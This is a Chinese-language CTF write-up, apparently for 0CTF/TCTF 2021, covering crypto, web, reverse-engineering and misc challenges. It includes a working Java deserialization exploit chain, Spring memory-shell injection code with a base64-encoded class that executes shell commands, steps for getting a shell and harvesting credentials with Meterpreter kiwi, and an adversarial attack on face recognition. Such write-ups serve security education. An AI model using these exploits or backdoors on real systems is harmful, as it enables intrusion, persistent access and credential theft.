d="🍐🍳🎶🏁🏠🐣🐶👃👈👉💀💺📄🔥🦅🪓"
result=0
for i in emojistr:
#print(i,d.index(i))
result=(result<<4)+d.index(i)
return result
io.recvuntil("> ")
io.writeline("1")
io.recvuntil("🔒:")
oo=str(io.readline().strip(),encoding="utf8")
n=convert_emoji_to_number(oo)
# get v40 and reset
io.recvuntil("> ")
io.writeline("3")
oo=str(io.readline().strip(),encoding="utf8")
v40=convert_emoji_to_number(oo)
print("v40:",v40)
print("##")
# io func
def convert_number_to_emoji(number):
d="🍐🍳🎶🏁🏠🐣🐶👃👈👉💀💺📄🔥🦅🪓"
result=""
tmp=number
while tmp!=0:
result=d[tmp%16]+result
tmp=(tmp>>4)
return result
def put_up(v40):
io.recvuntil("> ")
io.writeline("2")
io.recvuntil("❔:")
io.writeline(convert_number_to_emoji(v40))
checkstr=str(io.readline().strip(),encoding="utf8")
check_c=convert_emoji_to_number(checkstr)
#print(v40,convert_number_to_emoji(v40))
#print(check_c)
#print(gmpy2.jacobi(check_c,n))
return gmpy2.jacobi(check_c,n)
up=13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084095
down=13
while up-down>1:
newp=up-((up-down)//2)
print(newp)
if put_up(newp)==1:
up=newp
else:
down=newp
print(up)
print(down)
# get v40 and reset
'''
io.recvuntil("> ")
io.writeline("3")
oo=str(io.readline().strip(),encoding="utf8")
v40=convert_emoji_to_number(oo)
print("v40:",v40)
print("##")'''
# get flag
io.recvuntil("> ")
io.writeline("4")
io.recvuntil("🔑: ")
io.writeline(convert_number_to_emoji(up))
io.interactive()WEB
buggyLoader
题目需要结合二次反序列化get flag，同时序列化的数据需要满足IndexController类中的限制：
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("0CTF/TCTF") && year == 2021) {
objectInputStream.readObject();
}这里通过writeUTF和writeInt先分别写入0CTF/TCTF和2021，然后再writeObject：
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oss = null;
oss = new ObjectOutputStream(bos);
oss.writeUTF("0CTF/TCTF");
oss.writeInt(2021);
oss.writeObject(obj);
oss.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = Utils.bytesTohexString(bytes);序列化数据的构造：首先是MyObjectInputStream中resolveClass影响了链子的构造，最后是cc4的链调到RMIConnector的connect触发二次反序列化。
生成序列化数据：
package com.yxxx.buggyLoader;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.CommonsCollections4;
import ysoserial.payloads.util.Reflections;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
Object obj = getObject();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oss = null;
oss = new ObjectOutputStream(bos);
oss.writeUTF("0CTF/TCTF");
oss.writeInt(2021);
oss.writeObject(obj);
oss.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = Utils.bytesTohexString(bytes);
System.out.println(hex);
byte[] b2 = Utils.hexStringToBytes(hex);
InputStream inputStream1 = new ByteArrayInputStream(b2);
ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
Object obj2 = objectInputStream1.readObject();
}
public static Serializable getObject() throws Exception {
Transformer transformer = InvokerTransformer.getInstance("connect");
CommonsCollections4 commonsCollections3 = new CommonsCollections4();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(commonsCollections3.getObject("touch /tmp/success"));
String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
String finalExp = "service:jmx:rmi:///stub/" + expbase64;
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException var18) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException var17) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception var16) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}但是服务不出网，无法反弹shell，需要写入内存马，通过ScriptManager来注入内存马：
org.springframework.web.context.request.ServletRequestAttributes servletRequestAttributes = (org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes();
javax.servlet.http.HttpServletRequest req = ((org.springframework.web.context.request.ServletRequestAttributes) servletRequestAttributes).getRequest();
org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(req.getServletContext());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
java.lang.String className = "com.example.memshell_spring_boot.evil.EvilInterceptor";
java.lang.String b64 = "yv66vgAAADQAeQoAGgA8CAAyCwA9AD4IAD8KAEAAQQcAQggAQwgARAoAQABFCgBGAEcKAEYASAoARgBJBwBKCgANADwKAA0ASwgATAoADQBNCgBOAE8KAE4AUAoABgBRCgANAFIIAFMLAFQAVQoAVgBXBwBYBwBZAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADdMY29tL2V4YW1wbGUvbWVtc2hlbGxfc3ByaW5nX2Jvb3QvZXZpbC9FdmlsSW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAGc3RkZXJyAQAKc3Rkb3V0QnVmZgEAAltCAQAKc3RkZXJyQnVmZgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQADcmVzAQANU3RhY2tNYXBUYWJsZQcAQgEACkV4Y2VwdGlvbnMHAFoBABBNZXRob2RQYXJhbWV0ZXJzAQAKU291cmNlRmlsZQEAFEV2aWxJbnRlcmNlcHRvci5qYXZhDAAbABwHAFsMAFwAXQEAAAcAXgwAXwBgAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jDABhAGIHAGMMAGQAZQwAZgBnDABoAGcBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqAQAjLS0tLS0tLS0tLS0tLXN0ZG91dC0tLS0tLS0tLS0tLS0tLQoMAGsAbAcAbQwAbgBlDABvAHAMABsAcQwAaQByAQAjLS0tLS0tLS0tLS0tLXN0ZGVyci0tLS0tLS0tLS0tLS0tLQoHAHMMAHQAdQcAdgwAdwB4AQA1Y29tL2V4YW1wbGUvbWVtc2hlbGxfc3ByaW5nX2Jvb3QvZXZpbC9FdmlsSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQAEcmVhZAEABShbQilJAQAFKFtCKVYBABwoQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhABkAGgAAAAAAAgABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAkAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAwAdAAAB6gAFAAsAAAEDKxICuQADAgA6BBIEOgUZBMYA8bgABQa9AAZZAxIHU1kEEghTWQUZBFO2AAk6BhkGtgAKVxkGtgALOgcZBrYADDoIuwANWbcADhkFtgAPEhC2AA+2ABE6BRkHtgASvAg6CRkHGQm2ABNXuwANWbcADhkFtgAPuwAGWRkJtwAUtgAPtgAROgW7AA1ZtwAOGQW2AA8QCrYAFbYAEToFuwANWbcADhkFtgAPEha2AA+2ABE6BRkItgASvAg6ChkIGQq2ABNXuwANWbcADhkFtgAPuwAGWRkKtwAUtgAPtgAROgW7AA1ZtwAOGQW2AA8QCrYAFbYAEToFLLkAFwEAGQW2ABgErAAAAAMAHgAAAE4AEwAAAAsACgAMAA4ADQATAA4ALgAPADQAEAA7ABEAQgASAFgAEwBhABQAaQAVAIYAFgCcABcAsgAYALsAGQDDABoA4AAbAPYAHAEBAB4AHwAAAHAACwAuANMAJAAlAAYAOwDGACYAJwAHAEIAvwAoACcACABhAKAAKQAqAAkAuwBGACsAKgAKAAABAwAgACEAAAAAAQMALAAtAAEAAAEDAC4ALwACAAABAwAwADEAAwAKAPkAMgAzAAQADgD1ADQAMwAFADUAAAALAAH9AQEHADYHADYANwAAAAQAAQA4ADkAAAANAwAsAAAALgAAADAAAAABADoAAAACADs=";
sun.misc.BASE64Decoder mydecoder = (sun.misc.BASE64Decoder)sun.misc.BASE64Decoder.class.newInstance();
byte[] bytes = mydecoder.decodeBuffer(b64);
java.lang.ClassLoader classLoader = java.lang.Thread.currentThread().getContextClassLoader();
java.lang.System.out.println("flight");
java.lang.System.out.println(classLoader);
java.lang.System.out.println(className);
java.lang.System.out.println(bytes);
java.lang.System.out.println(bytes.length);
java.lang.reflect.Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = field.get(null);
java.lang.Class cls = unsafe.defineClass("com.example.memshell_spring_boot.evil.EvilInterceptor", bytes, 0, bytes.length, classLoader, java.lang.System.class.getProtectionDomain());
java.lang.System.out.println("flight2");
java.lang.System.out.println(cls);
adaptedInterceptors.add(cls.newInstance());Win-Win
xampp路径加一层随机字符串
C:/this_is_a_secret_path_107b1177348cc063a0713838282b1c27892d5fe2/php/tests/parseDir/phpinfo.php
用通配符<<+所有windows下默认apache目录进行爆破
readfile("C:/t<</php/tests/parseDir/phpinfo.php");第二种办法
readfile \.\C:直接下载C盘，然后拖到磁盘分析工具里面看目录，文件太大可以不下全部
然后session_upload包含或者包含tmp文件getshell
然后得到shell以后传msf木马
load kiwi
creds_all获取用户名密码代理上去登录远程桌面获取flag
Crypto
babylogin
题目给了个client来连接服务器。 文件是pyinstaller打包的，python去调了libsmartcard.so的函数，用来加密和哈希。
baba的密码只有4位，hash已知，可以本地爆破。
root需要用token登录，baba修改root的密码后自行算出他的token，然后再token登。client的-k参数可以保持连接。
secure_decrypt(token) == secure_hash(passwordhash)逆向libsmartcard.so得到secure_decrypt的逻辑
import numpy as np
import data
out_tab = np.array(data.out_tab).reshape((16, 256))
table1 = np.array(data.table1).reshape((9, 4, 4, 256))
table2 = np.array(data.table2).reshape((9, 4, 4, 256))
swap_tab = np.array(data.swap_tab).reshape((9, 4, 4, 96, 16))
def arrange(data):
#idx = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
#idx[i] == i * 5 % 16
vals = [data[i * 5 % 16] for i in range(16)]
return np.array(vals)
def split_byte(x):
vals = [x >> (8*i) & 0xFF for i in range(4)]
vals = vals[::-1]
vals = [[x&0xF, x>>4] for x in vals]
return vals
def sub_tab(tab, data):
vals = [split_byte(tab[i,data[i]]) for i in range(4)]
return np.array(vals)
def wtf(sw, low, high):
x1 = sw[low[0]+32][low[1]] + 80
y1 = sw[low[2]+48][low[3]]
v1 = sw[x1][y1]
x2 = sw[high[0]][high[1]] + 64
y2 = sw[high[2]+16][high[3]]
v2 = sw[x2][y2]
return v1 | (v2 << 4)
def wtf2(sw, vals):
ans = np.zeros(4, dtype=int)
for i in range(4):
low, high = vals[:,i,0], vals[:,i,1]
ans[i] = wtf(sw[i], low, high)
return ans
def myhash(data):
for i in range(9):
data = arrange(data)
data = data.reshape((4, 4))
for j in range(4):
vals = sub_tab(table1[i,j], data[j])
data[j] = wtf2(swap_tab[i,j], vals)
vals = sub_tab(table2[i,j], data[j])
data[j] = wtf2(swap_tab[i,j], vals)
data = data.reshape((16,))
data = arrange(data)
data = [out_tab[i,data[i]] for i in range(16)]
return data
def secure_decrypt(buf):
for _ in range(1337):
buf = myhash(buf)
return buf反推的主要难点在于 swap_tab。
swap_tab 的规律：如果把 swap_tab 看成 int[n][16] 的数组，那么 swap_tab[a][b] = (a^b) % 16
这样就可以消除所有swap_tab的查询。然后用 meet-in-the-middle 反推。
#include "data.h"
#include <cstdio>
#include <unordered_map>
#include <algorithm>
using namespace std;
void print(uint8_t *buf)
{
for (int i = 0; i < 16; ++i)
printf("%02d ", buf[i]);
putchar('\n');
}
void print(uint8_t buf[4][4])
{
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j)
printf("%02d ", buf[i][j]);
putchar('\n');
}
}
void arrange_inv(uint8_t *buf)
{
uint8_t vals[16];
for (int i = 0; i < 16; ++i)
vals[i] = buf[i * 13 % 16];
for (int i = 0; i < 16; ++i)
buf[i] = vals[i];
}
void reshape(const uint8_t *buf, uint8_t buf2[4][4])
{
for (int i = 0; i < 16; ++i) {
int x = i / 4, y = i % 4;
buf2[x][y] = buf[i];
}
}
void reshape(const uint8_t buf[4][4], uint8_t *buf2)
{
for (int i = 0; i < 16; ++i) {
int x = i / 4, y = i % 4;
buf2[i] = buf[x][y];
}
}
void sub_tab_inv(const uint32_t table[4][256], uint8_t vals[4])
{
unordered_map<uint32_t, pair<int, int>> s1, s2;
for (int i = 0; i < 256; ++i)
for (int j = 0; j < 256; ++j) {
uint32_t v = table[0][i] ^ table[1][j];
s1[v] = make_pair(i, j);
}
for (int i = 0; i < 256; ++i)
for (int j = 0; j < 256; ++j) {
uint32_t v = table[2][i] ^ table[3][j];
s2[v] = make_pair(i, j);
}
uint32_t vdata = (vals[0] << 24) | (vals[1] << 16) | (vals[2] << 8) | vals[3];
for (auto &x : s1) {
uint32_t v1 = x.first;
uint32_t v2 = v1 ^ vdata;
auto y = s2.find(v2);
if (y != s2.end()) {
auto p1 = x.second;
auto p2 = y->second;
vals[0] = p1.first;
vals[1] = p1.second;
vals[2] = p2.first;
vals[3] = p2.second;
return;
}
}
puts("bad");
}
void hash_inv(uint8_t *buf)
{
for (int i = 0; i < 16; ++i) {
auto list = out_tab[i];
buf[i] = find(list, list + 256, buf[i]) - list;
}
arrange_inv(buf);
uint8_t vals[4][4];
for (int i = 8; i >= 0; --i) {
reshape(buf, vals);
for (int j = 3; j >= 0; --j) {
sub_tab_inv(table2[i][j], vals[j]);
sub_tab_inv(table1[i][j], vals[j]);
}
reshape(vals, buf);
arrange_inv(buf);
}
}
void secure_decrypt_inv(uint8_t *buf)
{
for (int i = 0; i < 1337; ++i) {
printf("round %d\n", i);
hash_inv(buf);
print(buf);
}
}
int main()
{
uint8_t buf[16] = {};
secure_decrypt_inv(buf);
return 0;
}ezMat
整理一下大致如下： E = U*(A+R)
- E是最后结果，已知
- U是上三角矩阵
- A是flag矩阵，分布有规律，其余都是0
- R是pk公钥，已知
U是上三角矩阵，A的分布我们知道，并且A特别稀疏，所以E中很多位置的值就相当于U*R得到的结果，根据这点可以慢慢恢复出U的每一行，进而通过U每一行的值恢复出对应行的A的值 从下到上每次能依次求出U的其中一行，然后根据U的值，反推出A的对应行
p = 71
E = [
[31,45,41,12,36,43,45,51,25,2,64],
[68,24,32,35,52,13,64,10,14,2,40],
[34,34,64,32,67,25,21,57,31,6,56],
[7,17,12,33,54,66,28,25,40,23,26],
[14,65,70,35,67,55,47,36,36,42,57],
[68,28,33,0,45,52,59,29,52,41,46],
[60,35,0,21,24,44,49,51,1,6,35],
[20,21,44,57,23,35,30,28,16,23,0],
[24,64,54,53,35,42,40,17,3,0,36],
[32,53,39,47,39,56,52,15,39,8,9],
[7,57,43,5,38,59,2,25,2,67,12],
]
R = [
[53,28,20,41,32,17,13,46,34,37,24],
[0,9,54,25,36,1,21,24,56,51,24],
[61,41,10,56,57,28,49,4,44,70,34],
[47,58,36,53,68,66,34,69,22,25,39],
[4,70,21,36,53,26,59,51,3,44,28],
[41,23,39,37,1,28,63,64,37,35,51],
[43,31,16,36,45,5,35,52,7,45,41],
[26,3,54,58,50,37,27,49,3,46,11],
[14,48,18,46,59,64,62,31,42,41,65],
[17,50,68,10,24,40,58,46,48,14,58],
[46,24,48,32,16,1,27,18,27,17,20],
]
A = [
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,12,0,0],
[0,0,55,0,0,0,0,3,0,0,0],
[0,14,0,0,0,0,37,0,0,0,0],
[16,0,0,0,0,4,0,0,0,0,12],
[0,0,0,0,25,0,0,0,0,18,0],
[0,0,0,48,0,0,0,0,17,0,0],
[0,0,61,0,0,0,0,25,0,0,0],
[0,64,0,0,0,0,38,0,0,0,0],
[13,0,0,0,0,50,0,0,0,0,0],
]
U = zero_matrix(GF(p), 11, 11)
A = Matrix(GF(p), A)
E = Matrix(GF(p), E)
R = Matrix(GF(p), R)
aa = [
[-1,0,0,0,0,-1,0,0,0,0,-1],
[0,0,0,0,-1,0,0,0,0,-1,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
[0,0,0,0,0,0,0,0,0,0,0],
]
# aa不是-1，说明该位置的值已经求出来了
aa = Matrix(aa)
row = 1
cnt = 0
X = Matrix(Zmod(p), 11-row, 11-row)
Y = Matrix(Zmod(p), 11-row, 1)
for col in range(11):
if -1 not in aa.column(col)[row:]: #选择已经求出A的列
print(col) #每一行赋值，用来构成解方程的矩阵
X[cnt] = (A+R).column(col)[row:]
Y[cnt] = E[row][col]
cnt += 1
if cnt==11-row:
#print(X)
#print(Y)
r = X.solve_right(Y) # 求出U对应位置的值
print(r)
# 将结果写入到U中
for tmp_idx in range(cnt):
U[row, row+tmp_idx] = r[tmp_idx, 0]
print(U)
break最后能恢复成这个程度，最上面两行无法恢复存在多解
可以根据多解缩小范围，但是懒得优化了直接爆破hash：
from hashlib import sha256
alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'
for i1 in alphabet:
for i2 in alphabet:
for i3 in alphabet:
for i4 in alphabet:
for i5 in alphabet:
flag = i1+i2+i3+i4+i5+"=bS2dAf3bohLgYo!BcN"
#print(len(flag))
if sha256(flag.encode()).hexdigest() == "95cb911a467482cc0f879861532e9ec7680b0846b48a9de25fb13b01c583d9f8":
print(i1+i2+i3+i4+i5)
exit(0)最后得到：
flag{6yY4L=bS2dAf3bohLgYo!BcN}ezRSA
主要是通过magic来解出k和l，主要思路通过开方来得到一个大致的值，这个值就在正确值的附近，然后再遍历一下得到正确的值。 其次，不难发现e的值生成得很特殊，我们通过模k或者l，就能拿到inverse(d_p, k)，inverse(d_q, l)这两个值，再通过求逆得到d_p'，d_q'。 再通过d_p'，d_q'生成p，q。通过d_p & mask, d_q & mask来检查哪一个正确，再通过正确值得到真正的p，q
magic = 154118536863381755324327990994045278493514334577571515646858907141541837890
def check(k, l, magic):
res = 1337 * k ** 4 + 7331 * l ** 3 + 73331 * k ** 2 + 13337 * l ** 2 + 7 * k * l + 2 * k + l
if res == magic:
return True
k1 = iroot(magic // 1337, 4)[0]
for i in range(50):
t = 1337 * (k1 - i) ** 4
l1 = iroot((magic - t) // 7331, 3)[0]
for j in range(20):
if check(k1 - i, l1 - j, magic):
if GCD(k1 - i, l1 - j) == 1:
k = k1 - i
l = l1 - j
break
print(k, l)
pk = (13144833961692953638155744717380612667335058302310815242506755676885208234342620331186804951145894484501542968789132832800279633590988848298405521677820600481054741175400784558190943019903268095468121342412114428860754522164657102624139527993254089574309927288457799155130004731846999722554981630609692264462023821778810225493633789543259034893395115658330417361250466876018981150507377427664192443342394808337473089411393262018525828475108149889915075872592673448211565529063972264324533136645650169687118301014325354524932405270872098633633071371124551496573869700120350489760340226474892703585296623, 4976865541630914024304930292600669330017247151290783019063407119314069119952298933566289617702551408322779629557316539138884407655160925920670189379289389411163083468782698396121446186733546486790309424372952321446384824084362527492399667929050403530173432700957192011119967010196844119305465574740437)
e = pk[1]
d_q = inverse((e % l), l)
q = (e * d_q - 1) // l + 1
n = pk[0]
p = n // q
enc = 12075538182684677737023332074837542797880423774993595442794806087281173669267997104408555839686283996516133283992342507757326913240132429242004071236464149863112788729225204797295863969020348408992315952963166814392745345811848977394200562308125908479180595553832800151118160338048296786712765863667672764499042391263351628529676289293121487926074423104988380291130127694041802572569416584214743544288441507782008422389394379332477148914009173609753877263990429988651290402630935296993764147874437465394433756515223371180032964253037946818633821940103044535390973722964105390263537722948112571112911062
d = inverse(e, (p - 1) * (q - 1))
print(long_to_bytes(pow(enc, d, pk[0])))Misc
eeenginx
首先使用路径/proc/self/exe得到当前nginx的二進制可执行文件，导入IDA发现exec_shell函数，里面存在执行/readflag的代码
交叉引用查找到ngx_http_eenginx_filter函数，得到执行条件
将cookies的session字段设置为图中即可
boynextdoor
AI人脸识别，构造对抗样本。 构造一个图片让 embedding 尽量接近题目给的数值。
程序用的现成的库 face_recognition, dlib 模型是 dlib_face_recognition_resnet_model_v1.dat 这个工具可以把模型转成tensorflow接受的格式 https://github.com/ksachdeva/dlib-to-tf-keras-converter
攻击方法就是每次对图像求梯度，用梯度下降来逼近给定的embedding。 这题比较tricky的地方是，在传给神经网络前，dlib会先对图像做裁剪、放缩、随机抖动。 这些变换可以用 Expectation over Transformation (EOT) 方法绕过，就是我们每步算梯度时，随机多次采样取平均梯度，这些变换的效果就会被中和掉。
import dlib
import face_recognition
from PIL import Image
import random
import numpy as np
from numpy.linalg import norm
import tensorflow as tf
from converter.model import ScaleLayer, ReshapeLayer
keyface_encoding = [
-8.69139656e-02, 8.30148682e-02, 1.45035293e-02, -1.27609253e-01,
-1.42700657e-01, -1.58593412e-02, -9.87722948e-02, -1.23219922e-01,
1.22708268e-01, -1.35270610e-01, 2.30035380e-01, -1.23880222e-01,
-1.93354771e-01, -8.94580930e-02, -7.93846995e-02, 2.35654935e-01,
-1.81906566e-01, -1.34962142e-01, -1.31788421e-02, -1.04968855e-02,
4.10739481e-02, 2.44885264e-03, 8.52121785e-03, 5.79290688e-02,
-1.15343466e-01, -3.23355764e-01, -8.69766697e-02, -2.12586801e-02,
-9.11531225e-02, -3.72300223e-02, -2.80866250e-02, 1.02462806e-01,
-1.71462923e-01, -2.73887850e-02, 4.65847105e-02, 6.94189966e-02,
2.20984984e-02, -8.01130161e-02, 1.72256276e-01, 1.52742490e-04,
-2.54432797e-01, 5.17657027e-02, 1.13474540e-01, 2.19928578e-01,
1.68304369e-01, 1.28403883e-02, -1.04458071e-02, -1.59635231e-01,
1.74563184e-01, -1.74656272e-01, 1.19449571e-04, 1.32924736e-01,
4.52756137e-02, -5.11706285e-02, 1.84679162e-02, -7.74622187e-02,
2.99685597e-02, 1.66548729e-01, -1.57246217e-01, -3.03353313e-02,
9.47528481e-02, -6.63631782e-02, -3.17470208e-02, -1.85560584e-01,
2.26004064e-01, 1.28806546e-01, -1.15559876e-01, -2.06283614e-01,
1.40707687e-01, -1.00104943e-01, -8.33150819e-02, 8.25207531e-02,
-1.33005619e-01, -1.90996230e-01, -2.95138747e-01, -2.70678457e-02,
3.30062211e-01, 1.28746748e-01, -1.88333243e-01, 5.84503338e-02,
-8.36766977e-03, -7.47905578e-03, 1.23152651e-01, 1.65390745e-01,
5.01543283e-03, 1.08317155e-02, -8.22547823e-02, -4.03350629e-02,
2.58023173e-01, -4.20480780e-02, -2.24346798e-02, 2.48134851e-01,
-5.13138250e-04, 6.34072348e-02, 6.94152107e-03, -9.12788417e-03,
-1.11195974e-01, 3.06070670e-02, -1.62505597e-01, -1.20745702e-02,
-1.50425863e-02, -1.41657144e-02, -1.81038231e-02, 1.26067802e-01,
-1.41881093e-01, 1.04972236e-01, -5.23118973e-02, 3.43461856e-02,
-2.61395201e-02, -2.75162887e-02, -2.53709070e-02, -3.63143757e-02,
1.08865552e-01, -2.02156767e-01, 1.07431002e-01, 8.50366130e-02,
7.95102417e-02, 1.08320944e-01, 1.53148308e-01, 8.43793526e-02,
-2.67507583e-02, -3.10356300e-02, -2.16474622e-01, -2.27650702e-02,
1.20539531e-01, -9.48047191e-02, 1.40443712e-01, 5.64389490e-03,
]
keyface_encoding = np.array(keyface_encoding)
def check(im):
encoding = face_recognition.face_encodings(im)[0]
#print("emb", encoding)
dis = face_recognition.face_distance([keyface_encoding], encoding)
return dis[0]
def normalize_image(image):
[R,G,B] = np.dsplit(image,image.shape[-1])
Rx = (R - 122.782) / 256.
Gx = (G - 117.001) / 256.
Bx = (B - 104.298) / 256.
new_image = np.dstack((Rx,Gx,Bx))
return new_image
def revert_image(image):
[R,G,B] = np.dsplit(image,image.shape[-1])
Rx = R * 256 + 122.782
Gx = G * 256 + 117.001
Bx = B * 256 + 104.298
new_image = np.dstack((Rx,Gx,Bx))
new_image = np.clip(new_image, 0, 255)
new_image = np.array(new_image, dtype=np.uint8)
return new_image
def model_predict(im_faces):
global model
im_faces = tf.cast(im_faces, tf.float32)
with tf.GradientTape() as tape:
tape.watch(im_faces)
pred = model(im_faces)
#print("tensorflow", pred)
loss = tf.norm(pred - keyface_encoding, axis=1, ord=2)
grad = tape.gradient(loss, im_faces)
return loss, grad
def edit_image(im, face):
global model
top, right, bottom, left = face
jitter_num = 1000
imgs = dlib.jitter_image(im, jitter_num)
imgs = np.array([normalize_image(img) for img in imgs])
loss, grad = model_predict(imgs)
print(tf.reduce_mean(loss))
grad = tf.reduce_mean(grad, axis=0)
im = normalize_image(im)
im[top:bottom,left:right]-= 1e-3 * grad[top:bottom,left:right]
im = revert_image(im)
return im
im = face_recognition.load_image_file("save2.png")
print(check(im))
model_path = "dlib_face_recognition_resnet_model_v1.h5"
model = tf.keras.models.load_model(model_path, custom_objects={'ScaleLayer': ScaleLayer, 'ReshapeLayer': ReshapeLayer})
#model.summary()
cnt = 0
while True:
cnt += 1
loss2 = check(im)
print(loss2)
if loss2 < 0.25:
break
face = face_recognition.face_locations(im)[0]
im = edit_image(im, face)
Image.fromarray(im).save("hack.png")另外，选一个好的初始图很重要。比赛时用奥巴马头像怎么训也不成功，换成某个女人头像很快就成功了。
how_to_generate
服务器每次会随机生成一个上下文无关文法，我们要写程序自动生成一些AST，覆盖文法中所有生成规则。
我们可以写一个grammar来描述它的grammar，然后自动生成AST。
%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.ESCAPED_STRING
%import common.DIGIT
%import common.WS
%ignore WS
